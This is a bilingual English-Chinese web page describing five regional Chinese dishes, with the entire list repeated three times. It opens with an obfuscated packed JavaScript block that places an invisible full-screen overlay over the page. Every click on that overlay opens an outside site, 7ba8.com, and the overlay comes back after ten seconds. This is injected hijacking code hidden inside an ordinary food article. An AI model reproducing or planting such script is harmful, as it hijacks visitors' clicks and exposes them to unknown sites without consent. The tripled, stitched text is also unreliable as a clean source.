<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1. Beijing: Kaoya (Peking roast duck, 烤鸭)
北京:烤鸭
The cuisine: Generations of emperors and blue-blooded residents have set the standard for high-end Chinese cuisine. The city is famous for imperial cuisine, or guan cai (官菜), which uses only premium quality ingredients and is cooked with complex techniques。
烹饪风格:历代皇帝和贵族早已为高端的中式烹饪设定了标准。北京这座城市因其皇家菜肴或是官菜闻名遐迩,这种菜肴仅选用上等食材佐料,并运用复杂的技巧烹饪而成。
The dish: A perfect kaoya is roasted to a reddish color; its skin remains crispy and the meat oozes a fruity flavor。
菜肴:最棒的烤鸭烤至淡红色,表皮酥脆,鸭肉口感圆润。
A whole roasted duck is typically served in two ways: the juicy meat and crispy skin are wrapped in mandarin pancakes with scallion, cucumber and hoisin sauce; and the bones are slow-cooked into a tasty soup。
一整只烤鸭有两种特色吃法:拿薄饼卷着肥美的鸭肉和酥脆的鸭皮,再搭配些青葱丝,黄瓜丝和海鲜酱;鸭骨架经慢火炖成美味的汤。
chili-fried chicken cubes 2. Chongqing: La zi ji (chili-fried chicken cubes, 辣子鸡)
重庆:辣子鸡
The cuisine: Even compared with food from Sichuan, China’s mecca of spicy dishes, Chongqing cuisine scores high in spiciness and numb-inducing ingredients。
烹饪风格:即使常常拿来和川菜作对比,重庆仍旧是当之无愧的中国辣菜圣城,在麻辣程度上重庆菜首屈一指。
The dish: La zi ji combines crispy chicken breast cubes with a fireplace of peppercorn, toasted sesame and dried bird’s-eye chilis to create a plate of hot, red deliciousness。
菜肴:辣子鸡是将酥脆的鸡胸脯块与干胡椒、芝麻和干辣椒一同翻炒,从而做出一盘子火辣辣红彤彤的美味。
Buddha jumps over the wall 3. Fujian province: Fo tiao qiang (Buddha jumps over the wall, 佛跳墙)
另译作:Fo tiao qiang (Steamed Abalone with Shark's Fin and Fish Maw) (新浪教育注)
福建省:佛跳墙
The cuisine: Located along the southeastern coast of China, Fujian is famous for fresh seafood, but its flavorful shrimp oil and shrimp paste make the region’s cuisine stand proud。
烹饪风格:坐落于中国东南沿海的福建省以其新鲜的海产而闻名,不过福建有名的虾油和虾酱也让当地引以为傲的烹饪手法。
The dish: Legend has it that this dish is so irresistible that Buddha jumped over the wall for a taste。
菜肴:相传佛跳墙这道菜美味难挡,佛都从墙头跳过前来品尝。
Fo tiao qiang is made of 18 pricey ingredients, including shark fin, abalone, sea cucumber, ginseng and scallops, all simmered together for hours with premium Shaoxing rice wine。
佛跳墙由包括鱼翅、鲍鱼、海参、人参和扇贝等18种食材做成,所有食材再加些上好的绍兴米酒,经小火煨数小时即可。
Lanzhou hand-pulled noodles 4. Gansu province: Lanzhou lamian (Lanzhou hand-pulled noodles, 兰州拉面)
甘肃省:兰州拉面
The cuisine: This Islamic province makes hands-down the best noodles with beef or lamb in the country。
烹饪风格:有着伊斯兰信仰的甘肃省能够轻而易举地做出全国最棒的面食来,面里一般会放牛肉或是羊肉。
The dish: The perfect Lanzhou lamian is made with five ingredients: a clear soup, white radish, green coriander, red chilis, yellow noodles。
菜肴:最好吃的兰州拉面由5种食材组成:清汤,白萝卜,香菜,红辣椒,细黄面条。
The best way to experience this regional mainstay is seated in a humble lamian joint, slurping down noodles amid hungry eaters。
体验这道当地主打美食最好的方式,就是坐在普普通通的小摊前,在饥饿的食客中间痛快地“哧溜哧溜”将面条吃到嘴里。
fish in sour soup 5. Guizhou province: Suan tang yu (fish in sour soup, 酸汤鱼)
贵州省:酸汤鱼
The cuisine: Like foodies in Sichuan and Hunan, Miao tribespeople in hilly Guizhou loves their food sour and spicy。
烹饪风格:像湖南和四川爱好美食的人们一样,居住在贵州山区的苗族人家也更喜欢吃酸辣口味的菜。
The dish: The soup is made with fermented rice or tomatoes, pickled chilis and various herbs, and then cooked with freshly caught river fish for a super sour blend。
菜肴:酸汤鱼由酒酿或是番茄、泡椒和许多香草共同熬成,然后再放入刚抓回来的新鲜河鱼,即可做出超级酸爽的酸汤鱼了。
The thick, delicious broth has a persistent aroma. You can throw in tofu and other vegetables and eat it hot-pot style。
香浓美味的汤香味很持久,你可以像吃火锅一样,在汤中下些豆腐和其他蔬菜吃。
1. Beijing: Kaoya (Peking roast duck, 烤鸭)
北京:烤鸭
The cuisine: Generations of emperors and blue-blooded residents have set the standard for high-end Chinese cuisine. The city is famous for imperial cuisine, or guan cai (官菜), which uses only premium quality ingredients and is cooked with complex techniques。
烹饪风格:历代皇帝和贵族早已为高端的中式烹饪设定了标准。北京这座城市因其皇家菜肴或是官菜闻名遐迩,这种菜肴仅选用上等食材佐料,并运用复杂的技巧烹饪而成。
The dish: A perfect kaoya is roasted to a reddish color; its skin remains crispy and the meat oozes a fruity flavor。
菜肴:最棒的烤鸭烤至淡红色,表皮酥脆,鸭肉口感圆润。
A whole roasted duck is typically served in two ways: the juicy meat and crispy skin are wrapped in mandarin pancakes with scallion, cucumber and hoisin sauce; and the bones are slow-cooked into a tasty soup。
一整只烤鸭有两种特色吃法:拿薄饼卷着肥美的鸭肉和酥脆的鸭皮,再搭配些青葱丝,黄瓜丝和海鲜酱;鸭骨架经慢火炖成美味的汤。
chili-fried chicken cubes 2. Chongqing: La zi ji (chili-fried chicken cubes, 辣子鸡)
重庆:辣子鸡
The cuisine: Even compared with food from Sichuan, China’s mecca of spicy dishes, Chongqing cuisine scores high in spiciness and numb-inducing ingredients。
烹饪风格:即使常常拿来和川菜作对比,重庆仍旧是当之无愧的中国辣菜圣城,在麻辣程度上重庆菜首屈一指。
The dish: La zi ji combines crispy chicken breast cubes with a fireplace of peppercorn, toasted sesame and dried bird’s-eye chilis to create a plate of hot, red deliciousness。
菜肴:辣子鸡是将酥脆的鸡胸脯块与干胡椒、芝麻和干辣椒一同翻炒,从而做出一盘子火辣辣红彤彤的美味。
Buddha jumps over the wall 3. Fujian province: Fo tiao qiang (Buddha jumps over the wall, 佛跳墙)
另译作:Fo tiao qiang (Steamed Abalone with Shark's Fin and Fish Maw) (新浪教育注)
福建省:佛跳墙
The cuisine: Located along the southeastern coast of China, Fujian is famous for fresh seafood, but its flavorful shrimp oil and shrimp paste make the region’s cuisine stand proud。
烹饪风格:坐落于中国东南沿海的福建省以其新鲜的海产而闻名,不过福建有名的虾油和虾酱也让当地引以为傲的烹饪手法。
The dish: Legend has it that this dish is so irresistible that Buddha jumped over the wall for a taste。
菜肴:相传佛跳墙这道菜美味难挡,佛都从墙头跳过前来品尝。
Fo tiao qiang is made of 18 pricey ingredients, including shark fin, abalone, sea cucumber, ginseng and scallops, all simmered together for hours with premium Shaoxing rice wine。
佛跳墙由包括鱼翅、鲍鱼、海参、人参和扇贝等18种食材做成,所有食材再加些上好的绍兴米酒,经小火煨数小时即可。
Lanzhou hand-pulled noodles 4. Gansu province: Lanzhou lamian (Lanzhou hand-pulled noodles, 兰州拉面)
甘肃省:兰州拉面
The cuisine: This Islamic province makes hands-down the best noodles with beef or lamb in the country。
烹饪风格:有着伊斯兰信仰的甘肃省能够轻而易举地做出全国最棒的面食来,面里一般会放牛肉或是羊肉。
The dish: The perfect Lanzhou lamian is made with five ingredients: a clear soup, white radish, green coriander, red chilis, yellow noodles。
菜肴:最好吃的兰州拉面由5种食材组成:清汤,白萝卜,香菜,红辣椒,细黄面条。
The best way to experience this regional mainstay is seated in a humble lamian joint, slurping down noodles amid hungry eaters。
体验这道当地主打美食最好的方式,就是坐在普普通通的小摊前,在饥饿的食客中间痛快地“哧溜哧溜”将面条吃到嘴里。
fish in sour soup 5. Guizhou province: Suan tang yu (fish in sour soup, 酸汤鱼)
贵州省:酸汤鱼
The cuisine: Like foodies in Sichuan and Hunan, Miao tribespeople in hilly Guizhou loves their food sour and spicy。
烹饪风格:像湖南和四川爱好美食的人们一样,居住在贵州山区的苗族人家也更喜欢吃酸辣口味的菜。
The dish: The soup is made with fermented rice or tomatoes, pickled chilis and various herbs, and then cooked with freshly caught river fish for a super sour blend。
菜肴:酸汤鱼由酒酿或是番茄、泡椒和许多香草共同熬成,然后再放入刚抓回来的新鲜河鱼,即可做出超级酸爽的酸汤鱼了。
The thick, delicious broth has a persistent aroma. You can throw in tofu and other vegetables and eat it hot-pot style。
香浓美味的汤香味很持久,你可以像吃火锅一样,在汤中下些豆腐和其他蔬菜吃。
1. Beijing: Kaoya (Peking roast duck, 烤鸭)
北京:烤鸭
The cuisine: Generations of emperors and blue-blooded residents have set the standard for high-end Chinese cuisine. The city is famous for imperial cuisine, or guan cai (官菜), which uses only premium quality ingredients and is cooked with complex techniques。
烹饪风格:历代皇帝和贵族早已为高端的中式烹饪设定了标准。北京这座城市因其皇家菜肴或是官菜闻名遐迩,这种菜肴仅选用上等食材佐料,并运用复杂的技巧烹饪而成。
The dish: A perfect kaoya is roasted to a reddish color; its skin remains crispy and the meat oozes a fruity flavor。
菜肴:最棒的烤鸭烤至淡红色,表皮酥脆,鸭肉口感圆润。
A whole roasted duck is typically served in two ways: the juicy meat and crispy skin are wrapped in mandarin pancakes with scallion, cucumber and hoisin sauce; and the bones are slow-cooked into a tasty soup。
一整只烤鸭有两种特色吃法:拿薄饼卷着肥美的鸭肉和酥脆的鸭皮,再搭配些青葱丝,黄瓜丝和海鲜酱;鸭骨架经慢火炖成美味的汤。
chili-fried chicken cubes 2. Chongqing: La zi ji (chili-fried chicken cubes, 辣子鸡)
重庆:辣子鸡
The cuisine: Even compared with food from Sichuan, China’s mecca of spicy dishes, Chongqing cuisine scores high in spiciness and numb-inducing ingredients。
烹饪风格:即使常常拿来和川菜作对比,重庆仍旧是当之无愧的中国辣菜圣城,在麻辣程度上重庆菜首屈一指。
The dish: La zi ji combines crispy chicken breast cubes with a fireplace of peppercorn, toasted sesame and dried bird’s-eye chilis to create a plate of hot, red deliciousness。
菜肴:辣子鸡是将酥脆的鸡胸脯块与干胡椒、芝麻和干辣椒一同翻炒,从而做出一盘子火辣辣红彤彤的美味。
Buddha jumps over the wall 3. Fujian province: Fo tiao qiang (Buddha jumps over the wall, 佛跳墙)
另译作:Fo tiao qiang (Steamed Abalone with Shark's Fin and Fish Maw) (新浪教育注)
福建省:佛跳墙
The cuisine: Located along the southeastern coast of China, Fujian is famous for fresh seafood, but its flavorful shrimp oil and shrimp paste make the region’s cuisine stand proud。
烹饪风格:坐落于中国东南沿海的福建省以其新鲜的海产而闻名,不过福建有名的虾油和虾酱也让当地引以为傲的烹饪手法。
The dish: Legend has it that this dish is so irresistible that Buddha jumped over the wall for a taste。
菜肴:相传佛跳墙这道菜美味难挡,佛都从墙头跳过前来品尝。
Fo tiao qiang is made of 18 pricey ingredients, including shark fin, abalone, sea cucumber, ginseng and scallops, all simmered together for hours with premium Shaoxing rice wine。
佛跳墙由包括鱼翅、鲍鱼、海参、人参和扇贝等18种食材做成,所有食材再加些上好的绍兴米酒,经小火煨数小时即可。
Lanzhou hand-pulled noodles 4. Gansu province: Lanzhou lamian (Lanzhou hand-pulled noodles, 兰州拉面)
甘肃省:兰州拉面
The cuisine: This Islamic province makes hands-down the best noodles with beef or lamb in the country。
烹饪风格:有着伊斯兰信仰的甘肃省能够轻而易举地做出全国最棒的面食来,面里一般会放牛肉或是羊肉。
The dish: The perfect Lanzhou lamian is made with five ingredients: a clear soup, white radish, green coriander, red chilis, yellow noodles。
菜肴:最好吃的兰州拉面由5种食材组成:清汤,白萝卜,香菜,红辣椒,细黄面条。
The best way to experience this regional mainstay is seated in a humble lamian joint, slurping down noodles amid hungry eaters。
体验这道当地主打美食最好的方式,就是坐在普普通通的小摊前,在饥饿的食客中间痛快地“哧溜哧溜”将面条吃到嘴里。
fish in sour soup 5. Guizhou province: Suan tang yu (fish in sour soup, 酸汤鱼)
贵州省:酸汤鱼
The cuisine: Like foodies in Sichuan and Hunan, Miao tribespeople in hilly Guizhou loves their food sour and spicy。
烹饪风格:像湖南和四川爱好美食的人们一样,居住在贵州山区的苗族人家也更喜欢吃酸辣口味的菜。
The dish: The soup is made with fermented rice or tomatoes, pickled chilis and various herbs, and then cooked with freshly caught river fish for a super sour blend。
菜肴:酸汤鱼由酒酿或是番茄、泡椒和许多香草共同熬成,然后再放入刚抓回来的新鲜河鱼,即可做出超级酸爽的酸汤鱼了。
The thick, delicious broth has a persistent aroma. You can throw in tofu and other vegetables and eat it hot-pot style。
香浓美味的汤香味很持久,你可以像吃火锅一样,在汤中下些豆腐和其他蔬菜吃。 |
|